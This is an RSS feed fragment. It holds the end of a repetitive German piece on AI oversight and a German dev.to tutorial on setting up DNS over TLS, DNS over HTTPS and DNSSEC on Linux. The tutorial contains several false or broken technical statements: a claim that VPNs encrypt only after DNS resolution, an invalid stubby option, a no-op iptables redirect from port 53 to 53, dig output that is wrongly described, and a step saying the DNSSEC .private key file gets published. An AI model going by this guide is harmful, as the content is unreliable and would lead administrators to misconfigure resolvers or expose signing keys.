&lt;p&gt;Die Zukunft der KI sieht vielversprechend aus. Es gibt viele Möglichkeiten, wie KI-Systeme in unserem Leben eingesetzt werden können. Zum Beispiel können sie in der Medizin verwendet werden, um Krankheiten zu diagnostizieren und zu behandeln. Sie können auch in der Finanzwirtschaft verwendet werden, um Anlageentscheidungen zu treffen.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ein Beispiel:&lt;/em&gt; Die Firma DeepMind hat ein KI-System entwickelt, das in der Lage ist, selbstständig Spiele wie Go zu spielen. Dieses System kann auch verwendet werden, um komplexe Probleme in anderen Bereichen zu lösen.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Zukunft der KI sieht vielversprechend aus. Es ist jedoch wichtig, dass wir uns bewusst sind, dass KI-Systeme auch Risiken bergen. Es ist daher wichtig, dass wir sie immer überwachen und verbessern.&lt;/p&gt;

&lt;h2&gt;
  
  
  Häufige Fehler / Fallstricke
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Datenqualität: KI-Systeme sind nur so gut wie die Daten, die sie trainieren. Wenn die Daten fehlerhaft sind, kann das zu falschen Entscheidungen führen.&lt;/li&gt;
&lt;li&gt;Algorithmen: KI-Systeme verwenden Algorithmen, die nicht immer perfekt sind. Es ist daher wichtig, dass wir sie immer überwachen und verbessern.&lt;/li&gt;
&lt;li&gt;Überwachung: KI-Systeme müssen immer überwacht werden, um sicherzustellen, dass sie korrekt funktionieren.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Fazit
&lt;/h2&gt;

&lt;p&gt;KI-Systeme sind beeindruckende Technologien, die unser Leben verändern können. Es ist jedoch wichtig, dass wir uns bewusst sind, dass sie auch Risiken bergen. Es ist daher wichtig, dass wir sie immer überwachen und verbessern. Dein nächster Schritt sollte sein, sich über die Möglichkeiten und Risiken von KI-Systemen zu informieren und zu entscheiden, wie du sie in deinem Leben einsetzen möchtest.&lt;/p&gt;

&lt;p&gt;Die Entscheidungshoheit zwischen Mensch und Maschine ist ein komplexes Thema. Es ist wichtig, dass wir uns bewusst sind, dass KI-Systeme nicht perfekt sind und dass sie auch Fehler machen können. Es ist daher wichtig, dass wir sie immer überwachen und verbessern. Mit der richtigen Überwachung und Verbesserung können KI-Systeme jedoch sehr nützlich sein und unser Leben verändern.&lt;/p&gt;

&lt;p&gt;Dein nächster Schritt sollte sein, dich über die Möglichkeiten und Risiken von KI-Systemen zu informieren und zu entscheiden, wie du sie in deinem Leben einsetzen möchtest. Es ist auch wichtig, dass du dich über die ethischen Implikationen von KI-Systemen informierst und dich für eine verantwortungsvolle Nutzung einsetzt.&lt;/p&gt;

&lt;p&gt;Insgesamt ist die Entscheidungshoheit zwischen Mensch und Maschine ein wichtiges Thema, das uns alle betrifft. Es ist wichtig, dass wir uns bewusst sind, dass KI-Systeme nicht perfekt sind und dass sie auch Fehler machen können. Es ist daher wichtig, dass wir sie immer überwachen und verbessern. Mit der richtigen Überwachung und Verbesserung können KI-Systeme jedoch sehr nützlich sein und unser Leben verändern.&lt;/p&gt;

</description>
      <category>ki</category>
      <category>maschinenlernen</category>
      <category>entscheidungshoheit</category>
      <category>vertrauen</category>
    </item>
    <item>
      <title>DNS-Sicherheit im Vergleich: DoT, DoH vs. DNSSEC – Ihr Schutzplan</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Sun, 26 Jul 2026 18:00:03 +0000</pubDate>
      <link>https://dev.to/uhltak/dns-sicherheit-im-vergleich-dot-doh-vs-dnssec-ihr-schutzplan-588f</link>
      <guid>https://dev.to/uhltak/dns-sicherheit-im-vergleich-dot-doh-vs-dnssec-ihr-schutzplan-588f</guid>
      <description>&lt;h2&gt;
  
  
  Der tägliche Datenverkehr wird nie sicherer – es sei denn, Sie tun etwas dagegen
&lt;/h2&gt;

&lt;p&gt;Stellen Sie sich vor, Sie bestellen einen Kaffee und der Barista gibt Ihnen das falsche Getränk – jedes Mal. Genau das passiert, wenn Ihr DNS‑Resolver unverschlüsselt arbeitet: Ihre Anfragen werden auf dem Weg zum autoritativen Server abgefangen, umgelenkt und manchmal sogar manipuliert. Viele glauben, ein VPN sei die ultimative Lösung, doch das ist ein Trugschluss: Das VPN verschlüsselt den Verkehr &lt;em&gt;nach&lt;/em&gt; der DNS‑Auflösung, nicht die Auflösung selbst. In diesem Beitrag zeige ich, warum &lt;strong&gt;DoT&lt;/strong&gt;, &lt;strong&gt;DoH&lt;/strong&gt; und &lt;strong&gt;DNSSEC&lt;/strong&gt; die einzigen bausteinweisen sind, die Sie wirklich benötigen – und wie Sie sie in Ihrer Linux‑Umgebung einrichten, testen und dauerhaft betreiben.&lt;/p&gt;




&lt;h2&gt;
  
  
  DNS over TLS (DoT) – Verschlüsselte DNS‑Abfrage über TLS
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;DoT transportiert DNS‑Nachrichten über eine etablierte TLS‑Verbindung (Port 853). Damit ist die Kommunikation zwischen Resolver und Upstream‑Server vertraulich und vor Man‑in‑the‑Middle‑Angriffen geschützt. Im Gegensatz zu klassischen UDP‑Abfragen (Port 53) bleibt die Verbindung nach dem Handshake offen, was Latenz verringert – ein großer Gewinn für Endgeräte mit vielen kleinen Anfragen.&lt;/p&gt;

&lt;h3&gt;
  
  
  Praktisches Beispiel
&lt;/h3&gt;

&lt;p&gt;Wir benutzen &lt;strong&gt;Stubby&lt;/strong&gt;, ein leichtgewichtiger DoT‑Client, der systemweit als lokaler Resolver fungiert. Die Installation auf Debian/Ubuntu läuft mit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;stubby &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Die Konfigurationsdatei &lt;code&gt;/etc/stubby/stubby.yml&lt;/code&gt; wird wie folgt angepasst, um Cloudflare (1.1.1.1) und Google (8.8.8.8) als Upstream‑Server zu nutzen:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;resolution_type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;GET&lt;/span&gt;
&lt;span class="na"&gt;listen_addresses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;127.0.0.1@53&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;::1@53&lt;/span&gt;
&lt;span class="na"&gt;upstream_recursive_servers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;address_data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1.1.1.1&lt;/span&gt;
    &lt;span class="na"&gt;tls_auth_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cloudflare-dns.com"&lt;/span&gt;
    &lt;span class="na"&gt;tls_port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;853&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;address_data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;8.8.8.8&lt;/span&gt;
    &lt;span class="na"&gt;tls_auth_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dns.google"&lt;/span&gt;
    &lt;span class="na"&gt;tls_port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;853&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nach dem Speichern aktivieren wir den Dienst:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart stubby
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;stubby
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Um sicherzugehen, dass das System Stubby nutzt, ändern wir &lt;code&gt;/etc/resolv.conf&lt;/code&gt; (oder die Netzmanager‑Konfiguration) zu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nameserver 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ein kurzer Test mit &lt;code&gt;dig&lt;/code&gt; zeigt, dass die Anfragen über TLS gehen:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @127.0.0.1 example.com +tls
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wenn das Ergebnis &lt;code&gt;status: NOERROR&lt;/code&gt; liefert und das Feld &lt;code&gt;;; OPT PSEUDOSECTION:&lt;/code&gt; eine TLS‑Version anzeigt, funktioniert alles.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;DoT ist in meiner täglichen Arbeit das &lt;strong&gt;Goldstandard‑Tool&lt;/strong&gt;, weil es keine zusätzlichen Browser‑Erweiterungen erfordert und auf allen Netzwerk‑Stacks funktioniert. Der einzige Stolperstein ist die Kompatibilität mit manchen Unternehmens‑Proxy‑Setups, die TLS‑Outbound blockieren. Dort hilft ein lokaler Proxy‑Tunnel (z. B. &lt;code&gt;ssh -L&lt;/code&gt;) aus.&lt;/p&gt;




&lt;h2&gt;
  
  
  DNS over HTTPS (DoH) – DNS im HTTP‑Kanal
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;DoH verpackt DNS‑Payloads in HTTPS‑Requests (Port 443). Der große Vorteil: DoH‑Traffic ist schwer von reinen HTTP(S)-Traffic zu unterscheiden, sodass Firewalls und DPI‑Apparate ihn selten blockieren. Außerdem kann DoH über standardmäßige HTTP‑Bibliotheken wie &lt;code&gt;curl&lt;/code&gt; oder Browser‑APIs genutzt werden.&lt;/p&gt;

&lt;h3&gt;
  
  
  Praktisches Beispiel
&lt;/h3&gt;

&lt;p&gt;Unter Linux nutzen wir das Tool &lt;strong&gt;cloudflared&lt;/strong&gt; (von Cloudflare) als DoH‑Proxy. Installation via &lt;code&gt;apt&lt;/code&gt; bzw. Snap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Debian/Ubuntu&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;cloudflared &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;span class="c"&gt;# alternativ (falls Snap verfügbar)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;snap &lt;span class="nb"&gt;install &lt;/span&gt;cloudflared
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Starten wir den Daemon im Hintergrund, der auf &lt;code&gt;127.0.0.1:53&lt;/code&gt; lauscht und DoH zu Cloudflare (&lt;a href="https://cloudflare-dns.com/dns-query" rel="noopener noreferrer"&gt;https://cloudflare-dns.com/dns-query&lt;/a&gt;) weiterleitet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cloudflared proxy-dns &lt;span class="nt"&gt;--address&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;--port&lt;/span&gt; 53 &lt;span class="nt"&gt;--upstream&lt;/span&gt; https://cloudflare-dns.com/dns-query
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Für ein dauerhaftes System‑Service erstellen wir &lt;code&gt;/etc/systemd/system/cloudflared-dns.service&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[Unit]&lt;/span&gt;
&lt;span class="py"&gt;Description&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Cloudflare DoH Proxy&lt;/span&gt;
&lt;span class="py"&gt;After&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;network.target&lt;/span&gt;

&lt;span class="nn"&gt;[Service]&lt;/span&gt;
&lt;span class="py"&gt;ExecStart&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/local/bin/cloudflared proxy-dns --address 127.0.0.1 --port 53 --upstream https://cloudflare-dns.com/dns-query&lt;/span&gt;
&lt;span class="py"&gt;Restart&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;on-failure&lt;/span&gt;
&lt;span class="py"&gt;User&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;nobody&lt;/span&gt;
&lt;span class="py"&gt;Group&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;nogroup&lt;/span&gt;

&lt;span class="nn"&gt;[Install]&lt;/span&gt;
&lt;span class="py"&gt;WantedBy&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;multi-user.target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aktivieren und starten:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;cloudflared-dns
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start cloudflared-dns
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ein kurzer Test mit &lt;code&gt;dig&lt;/code&gt; über DoH‑Proxy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @127.0.0.1 www.wikipedia.org +https
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Falls &lt;code&gt;dig&lt;/code&gt; die Option &lt;code&gt;+https&lt;/code&gt; nicht kennt, nutzen wir &lt;code&gt;curl&lt;/code&gt; zur Kontrolle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'accept: application/dns-message'&lt;/span&gt; &lt;span class="s1"&gt;'https://cloudflare-dns.com/dns-query?name=example.com&amp;amp;type=A'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; - | hexdump &lt;span class="nt"&gt;-C&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;DoH ist praktisch &lt;strong&gt;unverzichtbar für moderne Workloads&lt;/strong&gt;, weil viele Cloud‑Native‑Applikationen bereits native DoH‑Clients implementieren (z. B. &lt;code&gt;systemd-resolved&lt;/code&gt; ab v247). Der Trade‑off: DoH kann das DNS‑Caching im Betriebssystem umfahren, wenn mehrere lokale Resolver aktiv sind. In einer produktiven Umgebung halte ich bei Bedarf DoH nur für die Endgeräte und setze DoT für die Server‑Backbone‑Verbindungen ein.&lt;/p&gt;




&lt;h2&gt;
  
  
  DNSSEC – Authentizität der DNS‑Antworten
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;Während DoT/DoH die &lt;strong&gt;Vertraulichkeit&lt;/strong&gt; Ihrer Anfragen schützen, garantiert DNSSEC die &lt;strong&gt;Integrität&lt;/strong&gt; der zurückgelieferten Daten. Jede Zone wird mit einem kryptografischen Schlüssel signiert; Resolver prüfen die Kette bis zum Root‑Key. So ist ein „Gefälschte‑Antwort“-Angriff praktisch unmöglich, solange die Validierung aktiviert ist.&lt;/p&gt;

&lt;h3&gt;
  
  
  Praktisches Beispiel
&lt;/h3&gt;

&lt;p&gt;Wir richten einen eigenen autoritativen Server mit &lt;strong&gt;BIND 9&lt;/strong&gt; ein und signieren die Zone &lt;code&gt;myhome.lan&lt;/code&gt;. Schritt‑für‑Schritt:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Zone‑Datei erstellen&lt;/strong&gt; (&lt;code&gt;/etc/bind/zones/myhome.lan.db&lt;/code&gt;):
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$TTL 86400
@   IN  SOA ns1.myhome.lan. admin.myhome.lan. (
        2026072601 ; serial
        3600       ; refresh
        1800       ; retry
        1209600    ; expire
        86400 )    ; minimum
    IN  NS  ns1.myhome.lan.
ns1 IN  A   192.168.1.10
www IN  A   192.168.1.20
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Schlüssel erzeugen&lt;/strong&gt; (KSK und ZSK):
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /etc/bind/keys
dnssec-keygen &lt;span class="nt"&gt;-a&lt;/span&gt; RSASHA256 &lt;span class="nt"&gt;-b&lt;/span&gt; 2048 &lt;span class="nt"&gt;-r&lt;/span&gt; /dev/urandom &lt;span class="nt"&gt;-n&lt;/span&gt; ZONE myhome.lan
dnssec-keygen &lt;span class="nt"&gt;-f&lt;/span&gt; KSK &lt;span class="nt"&gt;-a&lt;/span&gt; RSASHA256 &lt;span class="nt"&gt;-b&lt;/span&gt; 4096 &lt;span class="nt"&gt;-r&lt;/span&gt; /dev/urandom &lt;span class="nt"&gt;-n&lt;/span&gt; ZONE myhome.lan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Die beiden generierten Dateien (&lt;code&gt;Kmyhome.lan.+008+xxxxx.key&lt;/code&gt; und &lt;code&gt;.private&lt;/code&gt;) werden später veröffentlicht.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Zone signieren&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dnssec-signzone &lt;span class="nt"&gt;-o&lt;/span&gt; myhome.lan &lt;span class="nt"&gt;-k&lt;/span&gt; Kmyhome.lan.+008+XXXXX.key /etc/bind/zones/myhome.lan.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Das Ergebnis ist &lt;code&gt;myhome.lan.db.signed&lt;/code&gt; mit DNSSEC‑RRSIG‑Einträgen.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;BIND‑Konfiguration&lt;/strong&gt; (&lt;code&gt;named.conf.local&lt;/code&gt;):
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;zone&lt;/span&gt; &lt;span class="s"&gt;"myhome.lan"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s"&gt;"/etc/bind/zones/myhome.lan.db.signed"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Resolver‑Validierung aktivieren&lt;/strong&gt; (z. B. &lt;code&gt;systemd-resolved&lt;/code&gt;):
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/systemd/resolved.conf.d
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; | sudo tee /etc/systemd/resolved.conf.d/dnssec.conf
[Resolve]
DNSSEC=yes
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart systemd-resolved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ein Test mit &lt;code&gt;dig&lt;/code&gt; zeigt, dass die Antwort nun &lt;code&gt;ad&lt;/code&gt; (Authenticated Data) enthält:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @127.0.0.1 www.myhome.lan +dnssec
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;DNSSEC ist die &lt;strong&gt;Einzige&lt;/strong&gt;, die Sie vor gefälschten Antworten schützt. In meinen Projekten kombinieren wir DNSSEC im internen DNS mit DoT für die Upstream‑Verbindungen. Der übliche Haken ist das &lt;strong&gt;Schlüssel‑Roll‑Management&lt;/strong&gt; – vergessene Schlüsselabläufe führen schnell zu Ausfällen. Daher setze ich automatisierte Schlüssel‑Rotation via &lt;code&gt;rndc&lt;/code&gt; und ein Monitoring‑Alarm, das das Ablaufdatum prüft.&lt;/p&gt;




&lt;h2&gt;
  
  
  Gemeinsamer Einsatz – Welche Technik wann?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Merkmal&lt;/th&gt;
&lt;th&gt;DoT&lt;/th&gt;
&lt;th&gt;DoH&lt;/th&gt;
&lt;th&gt;DNSSEC&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vertraulichkeit&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✓ (TLS)&lt;/td&gt;
&lt;td&gt;✓ (HTTPS)&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Integrität&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kompatibilität&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kern‑Linux, Server‑Daemons&lt;/td&gt;
&lt;td&gt;Browser, mobile Apps&lt;/td&gt;
&lt;td&gt;Jeder Resolver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Performance&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Geringe Latenz (persistent TLS)&lt;/td&gt;
&lt;td&gt;Etwas höher (HTTPS‑Handshake)&lt;/td&gt;
&lt;td&gt;Keine Auswirkung&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Einrichtungsaufwand&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;gering (stubby/cloudflared)&lt;/td&gt;
&lt;td&gt;mittel (systemd‑resolved, cloudflared)&lt;/td&gt;
&lt;td&gt;hoch (Zone‑Signing, Schlüssel‑Management)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Empfehlung:&lt;/strong&gt; Für Workstations und Laptops ist DoH die bequemste Lösung, weil moderne Browser es nativ unterstützen. In Server‑Umgebungen, wo mehrere Services denselben Resolver teilen, setze ich DoT, weil es keine zusätzlichen HTTP‑Header erfordert und leicht über &lt;code&gt;systemd-resolved&lt;/code&gt; konfigurierbar ist. DNSSEC sollte &lt;em&gt;immer&lt;/em&gt; aktiv sein – es ist kein optionales Feature, sondern ein Grundschutz.&lt;/p&gt;




&lt;h2&gt;
  
  
  Häufige Fehler und wie Sie sie vermeiden
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Resolver prüft DNSSEC nicht&lt;/strong&gt; – Viele Distributionen deaktivieren die Validierung aus Gründen der Kompatibilität. Prüfen Sie mit &lt;code&gt;dig +dnssec example.com&lt;/code&gt; das Vorhandensein des &lt;code&gt;ad&lt;/code&gt;‑Flags. Wenn es fehlt, aktivieren Sie &lt;code&gt;DNSSEC=yes&lt;/code&gt; in &lt;code&gt;systemd-resolved&lt;/code&gt; oder &lt;code&gt;options dnssec&lt;/code&gt; in &lt;code&gt;named.conf&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Upstream‑Server blockieren TLS/HTTPS&lt;/strong&gt; – In Unternehmensnetzen blockieren Firewalls manchmal Port 853 oder verschlüsselte SNI‑Domain‑Namen. Nutzen Sie &lt;code&gt;tcpdump -i eth0 -n port 853&lt;/code&gt; um zu prüfen, ob die Pakete überhaupt das Netzwerk verlassen.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verwechslung von DoT‑Port und regulärem DNS‑Port&lt;/strong&gt; – Wenn Sie &lt;code&gt;stubby&lt;/code&gt; nutzen, vergessen Sie nicht, den lokalen Port‑Umleitungsdienst (z. B. &lt;code&gt;iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 53&lt;/code&gt;) zu entfernen, sonst gehen Anfragen an den falschen Daemon.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ungepflegte Schlüssel in DNSSEC&lt;/strong&gt; – Ein abgelaufener ZSK bricht die gesamte Kette. Ein Cron‑Job, der &lt;code&gt;dnssec-signzone -u&lt;/code&gt; ausführt und das Ergebnis prüft, verhindert Überraschungen.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cache‑Inkompatibilitäten&lt;/strong&gt; – Durch DoH kann der lokale DNS‑Cache (z. B. &lt;code&gt;nscd&lt;/code&gt;) veraltete, nicht‑signierte Antworten behalten. Leeren Sie den Cache nach einer DoH‑Einführung (&lt;code&gt;sudo systemctl restart nscd&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Fazit und der nächste konkrete Schritt
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DoT&lt;/strong&gt; ist ideal für serverseitige, persistent‑verbindende Umgebungen. Richten Sie &lt;code&gt;stubby&lt;/code&gt; oder &lt;code&gt;systemd-resolved&lt;/code&gt; mit &lt;code&gt;DNSOverTLS=yes&lt;/code&gt; ein.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DoH&lt;/strong&gt; passt zu Desktop‑ und Mobilgeräten, weil es über Port 443 läuft und von Browsern unterstützt wird. Deployen Sie &lt;code&gt;cloudflared&lt;/code&gt; als lokales Proxy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNSSEC&lt;/strong&gt; ist das unverzichtbare Gegenstück, das die Authentizität Ihrer Antworten garantiert. Signieren Sie Ihre eigenen Zonen und aktivieren Sie Validierung im Resolver.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Ihr nächster Schritt:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Wählen Sie ein DoT‑ oder DoH‑Setup, das zu Ihrer Infrastruktur passt (Beispiel: &lt;code&gt;sudo apt install stubby &amp;amp;&amp;amp; sudo systemctl enable --now stubby&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Testen Sie die Konfiguration mit &lt;code&gt;dig +tls&lt;/code&gt; bzw. &lt;code&gt;dig +https&lt;/code&gt;.&lt;/li&gt;
